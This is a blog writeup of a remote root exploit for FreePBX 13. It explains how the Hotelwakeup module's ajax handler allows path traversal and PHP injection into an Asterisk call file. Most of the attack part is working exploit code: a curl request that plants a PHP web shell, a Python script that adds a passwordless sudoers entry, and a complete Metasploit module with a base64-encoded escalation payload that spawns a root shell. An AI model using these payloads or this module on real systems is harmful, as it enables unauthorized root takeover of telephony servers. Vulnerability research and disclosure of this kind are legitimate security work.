Freepbx remote root exploit writeup

October 25, 2016

Intro

I already released fully working exploit + brief writeup at Exploit-DB
If you need more details then proceed with this post

Freepbx is famous voip distro based on asterisk + Centos

According to the official site the distro is deployed on newly 20,000 machine monthly and already up and running on around 1m machine either on external or internal networks

Freepbx suffer from remote command execution flaw that can be escalated to full root access over the vulnerable machine
Freepbx mainly prevent unauthorized access to php files via quite good .htaccess rules

SetEnv HTACCESS on
<IfModule !mod_authz_core.c>
    <FilesMatch "\..*$">
        Deny from all
    </FilesMatch>
</IfModule>
<IfModule mod_authz_core.c>
    <FilesMatch "\..*$">
        Require all denied
    </FilesMatch>
</IfModule>
<IfModule !mod_authz_core.c>
    <FilesMatch "(^$|index\.php|config\.php|ajax\.php|\.(gif|GIF|jpg|jpeg|png|css|js|swf|txt|ico|ttf|svg|eot|woff|woff2|wav|mp3|aac|ogg|webm|gz)$)">
        Allow from all
    </FilesMatch>
</IfModule>
<IfModule mod_authz_core.c>
    <FilesMatch "(^$|index\.php|config\.php|ajax\.php|\.(gif|GIF|jpg|jpeg|png|css|js|swf|txt|ico|ttf|svg|eot|woff|woff2|wav|mp3|aac|ogg|webm|gz)$)">
        Require all granted
    </FilesMatch>
</IfModule>

1st the htaccess file prevent access to all files located at the admin directory
then allow access to css , gz , music , images , txt . . almost everything except the only thing we are interested about , the php files
except for index.php , config.php which are secured by login schema , ajax.php which we are interested about

ajax.php , modules and some technical stuff

ajax.php is being used by admin panel to call fpbx modules on request and was being used by index file to call few modules that do not require authentication such as registration and by default the main framework module
ajax.php code is

<?php
if (!isset($_REQUEST['module'])) {
	$module = "framework";
} else {
	$module = $_REQUEST['module'];
}

if (isset($_REQUEST['command'])) {
	$command = $_REQUEST['command'];
} else {
	$command = "unset";
}
$bootstrap_settings['freepbx_auth'] = false;
$bootstrap_settings['whoops_handler'] = 'JsonResponseHandler';
$restrict_mods = true;
if ([email protected]include_once(getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
	include_once('/etc/asterisk/freepbx.conf');
}

error_reporting(-1);
modgettext::textdomain($module);
$bmo->Ajax->doRequest($module, $command);

obious enough , hah?
using 2 parameters module to call the wanted module , command to pass the needed action to the module

ajax.php?module=ox4148&command=foo

will search for module ox4148 inside admin/modules directory , then search for Ox4148.class.php file inside that directry
then check if the module support ajax request or not via looking for function ajaxRequest in which the module action is identified , check if request require authentication or not
proceed it if everything is ok or ignore it if not If found then it’s proceed via the function ajaxHandler which do the rest of stuff

If you did not get it it’s ok , just go on with the rest of the post and it will be more obvious enough talk about ajax and modules and let’s get into the more interesting part

what’s up with hotel wakeup!

Hotel wake up is a pre-installed module come by default with freepbx 13.x

The Wake Up Calls module allows users to generate a hotel-style wake up call for their extension.

what’s interesting about it?
Obvious , it’s vulnerable
basically the module create outgoing call file for asterisk with specific time/date to specific destination
file is being written in asterisk outgoing directory then when time/date come asterisk automatically proceed the file , extract options and proceed the call on time with nice wakeup message

202<?php
203  public function generateCallFile($foo) {
204    if (empty($foo['tempdir'])) {
205      $ast_tmp_path = $this->FreePBX->Config->get('ASTSPOOLDIR')."/tmp/";
206      if(!file_exists($ast_tmp_path)) {
207              mkdir($ast_tmp_path,0777,true);
208      }
209      $foo['tempdir'] = $ast_tmp_path;
210    }
211    if (empty($foo['outdir'])) {
212      $foo['outdir'] = $this->FreePBX->Config->get('ASTSPOOLDIR')."/outgoing/";
213    }
214    if (empty($foo['filename'])) {
215      $foo['filename'] = "wuc.".$foo['time'].".ext.".$foo['ext'].".call";
216    }
217 
218    $tempfile = $foo['tempdir'].$foo['filename'];
219    $outfile = $foo['outdir'].$foo['filename'];
220 
221    // Delete any old .call file with the same name as the one we are creating.
222    if(file_exists($outfile) ) {
223      unlink($outfile);
224    }
225 
226    // Create up a .call file, write and close
227    $wuc = fopen($tempfile, 'w');
228    fputs( $wuc, "channel: Local/".$foo['ext']."@originate-skipvm\n" );
229    fputs( $wuc, "maxretries: ".$foo['maxretries']."\n");
230    fputs( $wuc, "retrytime: ".$foo['retrytime']."\n");
231    fputs( $wuc, "waittime: ".$foo['waittime']."\n");
232    fputs( $wuc, "callerid: ".$foo['callerid']."\n");
233    fputs( $wuc, 'set: CHANNEL(language)='.$foo['language']."\n");
234    fputs( $wuc, "application: ".$foo['application']."\n");
235    fputs( $wuc, "data: ".$foo['data']."\n");
236    fclose( $wuc );
237 
238    // set time of temp file and move to outgoing
239    touch( $tempfile, $foo['time'], $foo['time'] );
240    rename( $tempfile, $outfile );
241  }
242
Line 215 control the outgoing file name which contain the destination extension
Line 233 control the wakeup language will be then being written inside the call file
so by manipulating both options we are able to control the filename , file contents = Ideal code execution conditions

Taking control

Function generatecallfile is being called via another function in the same file which is addWakeup

93<?php
94    public function addWakeup($destination, $time, $lang) {
95        $date = $this->getConfig();  // module config provided by user
96        $this->generateCallFile(array(
97            "time"  => $time,
98            "date" => 'unused',
99            "ext" => $destination,
100            "language" => $lang,
101            "maxretries" => $date['maxretries'],
102            "retrytime" => $date['retrytime'],
103            "waittime" => $date['waittime'],
104            "callerid" => $date['cnam']." <".$date['cid'].">",
105            "application" => 'AGI',
106            "data" => 'wakeconfirm.php',
107        ));
108    }
109
Line 99 control destination extension which mean controlling file name , remember?
Line 100 control language which mean controlling file contents
Still great
function addwakeup is being proceed when calling the hotelwakeup module , setting savecall as argument

Code snip

59<?php
60  public function ajaxHandler() {
61    switch($_REQUEST['command']) {
62      case "savecall":
63        if(empty($_POST['language'])) {
64          $lang = 'en'; //default to English if empty
65        } else {
66          $lang = $_POST['language']; //otherwise set to the language code provided
67        }
68        if(empty($_POST['day']) || empty($_POST['time'])) {
69          return array("status" => false, "message" => _("Cannot schedule the call, due to insufficient data"));
70        }
71        $time_wakeup = strtotime($_POST['day']." ".$_POST['time']);
72        $time_now = time();
73        $badtime = false;
74        if ( $time_wakeup === false || $time_wakeup <= $time_now )  {
75          $badtime = true;
76        }
77
78        // check for insufficient data
79        if ($badtime)  {
80          // abandon .call file creation and pop up a js alert to the user
81          return array("status" => false, "message" => sprintf(_("Cannot schedule the call the scheduled time is in the past. [Time now: %s] [Wakeup Time: %s]"),date(DATE_RFC2822,$time_now),date(DATE_RFC2822,$time_wakeup)));
82        } else {
83          $this->addWakeup($_POST['destination'],$time_wakeup,$lang);
84          return array("status" => true);
85        }
86      break;
87      case "getable":
88        return $this->getAllCalls();
89      break;
90    }
91    return true;
92  }
93
Line 66 will take the language value from $_POST[‘language’]
Line 83 will take the destination value from $_POST[‘destination’]

then proceed both via

$this->addWakeup($_POST['destination'],$time_wakeup,$lang);

Exploitation and gaining access

Passing POST request to http://TARGET/admin/ajax.php
Data : module=hotelwakeup&command=savecall&day=now&time=”%”2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system(‘uname -a;id’);?>
will result in creating file named 0x4148.php.call at /var/www/html (which isn’t protected by the htaccess) so the file can be accessed via
http://TAREGT/0x4148.php.call
which result in execution of php code system(‘uname -a;id’);

[0x4148:/lab]# curl "http://TARGET/admin/ajax.php" -H "Host: TARGET" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Referer: http://TARGET/admin/ajax.php" -H "Cookie: lang=en_US; PHPSESSID=9sfgl5leajk74buajm0re2i014" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system('uname -a;id');?>"
{"error":{"type":"Whoops\\Exception\\ErrorException","message":"touch(): Unable to create file \/var\/spool\/asterisk\/tmp\/wuc.1475613328.ext.\/..\/..\/..\/..\/..\/..\/var\/www\/html\/0x4148.php.call because No such file or directory","file":"\/var\/www\/html\/admin\/modules\/hotelwakeup\/Hotelwakeup.class.php","line":238}}#    
 
The error mean nothing , we still can get our malicious file via http://server:port/0x4148.php.call
the server will ignore.call extn and will execute the php
 
[0x4148:/lab]# curl "http://TARGET/0x4148.php.call"
channel: Local//../../../../../../var/www/html/[email protected]
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=Linux HOUPBX 2.6.32-504.8.1.el6.x86_64 #1 SMP Wed Jan 28 21:11:36 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
uid=499(asterisk) gid=498(asterisk) groups=498(asterisk)
application: AGI
data: wakeconfirm.php

and our uname -a , id commands were executed

Escalation

pgt release previous privilege escalation flaw in freepbx which for sure wont be patched soon

import os
import time
# -*- coding: utf-8 -*-
cmd = 'sed -i — \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\  ' \
  'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \
  'asterisk/bin/freepbx_engine'
os.system(cmd)
os.system('echo a > /var/spool/asterisk/sysadmin/amportal_restart')
time.sleep(20)
os.system('sudo whatever')

Putting all together

MSF module that do it all
Full msf module code

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name'            => 'FreePBX < 13.0.188.1 Remote root exploit',
                      'Description'     => '
                        This module exploits an unauthenticated remote command execution in FreePBX module Hotelwakeup
                      ',
                      'License'         => MSF_LICENSE,
                      'Author'          =>
                        [
                          'Ahmed sultan (0x4148) <[email protected]>', # discovery of vulnerability and msf module
                        ],
                      'References'      =>
                        [
                          "NA"
                        ],
                      'Payload' =>
                        {
                          'Compat' =>
                          {
                            'PayloadType'  => 'cmd',
                            'RequiredCmd'  => 'perl telnet python'
                          }
                        },
                      'Platform'       => %w(linux unix),
                      'Arch'           => ARCH_CMD,
                      'Targets'        => [['Automatic', {}]],
                      'Privileged'     => 'false',
                      'DefaultTarget'  => 0,
                      'DisclosureDate' => 'Sep 27 2016'))
  end

  def print_status(msg = '')
    super("#{rhost}:#{rport} - #{msg}")
  end

  def print_error(msg = '')
    super("#{rhost}:#{rport} - #{msg}")
  end

  def print_good(msg = '')
    super("#{rhost}:#{rport} - #{msg}")
  end

  # Application Check
  def check
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'headers' => {
        'Referer' => "http://#{datastore['RHOST']}/jnk0x4148stuff"
      },
      'vars_post' => {
        'module' => 'hotelwakeup',
        'command'       => 'savecall'
      }
    )

    unless res
      vprint_error('Connection timed out.')
    end
    if res.body.include? "Referrer"
      vprint_good("Hotelwakeup module detected")
      return Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
	end
  end
  def exploit
    vprint_status('Sending payload . . .')
    pwn = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'headers' => {
        'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/admin/ajax.php?module=hotelwakeup&action=savecall",
        'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        'User-agent' => "mostahter ;)"
      },
      'vars_post' => {
        'module' => 'hotelwakeup',
        'command'       => 'savecall',
        'day'       => 'now',
        'time'       => '+1 week',
        'destination'       => '/../../../../../../var/www/html/0x4148.php',
        'language'       => '<?php echo "[email protected]";if($_GET[\'r1zcmd\']!=\'\'){system("sudo ".$_GET[\'r1zcmd\']);}else{fwrite(fopen("0x4148.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCmltcG9ydCBvcwppbXBvcnQgdGltZQojIC0qLSBjb2Rpbmc6IHV0Zi04IC0qLSAKY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXAoJJ05PUEFTU1dEXDpBTEwiXD5cPlwvZXRjXC9zdWRvZXJzL2dcJyAvdmFyL2xpYi8nIFwKCSdhc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUnCm9zLnN5c3RlbShjbWQpCm9zLnN5c3RlbSgnZWNobyBhID4gL3Zhci9zcG9vbC9hc3Rlcmlzay9zeXNhZG1pbi9hbXBvcnRhbF9yZXN0YXJ0JykKdGltZS5zbGVlcCgyMCk="));system("python 0x4148.py");}?>',
      }
    )
	#vprint_status("#{pwn}")
	vprint_status('Trying to execute payload <taking around 20 seconds in case of success>')
    escalate = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, '0x4148.php.call'),
      'vars_get' => {
        '0x4148' => "r1z"
      }
    )
	if escalate.body.include? "[email protected]"
		vprint_good("Payload executed")
		vprint_status("Spawning root shell")
		killit = send_request_cgi(
		  'method' => 'GET',
		  'uri'    => normalize_uri(target_uri.path, '0x4148.php.call'),
		  'vars_get' => {
			'r1zcmd' => "#{payload.encoded}"
		  }
		)		
	else
		vprint_error("Exploitation Failed")
	end
    end
end

That’s it,

Until next time,
Ahmed


comments powered by Disqus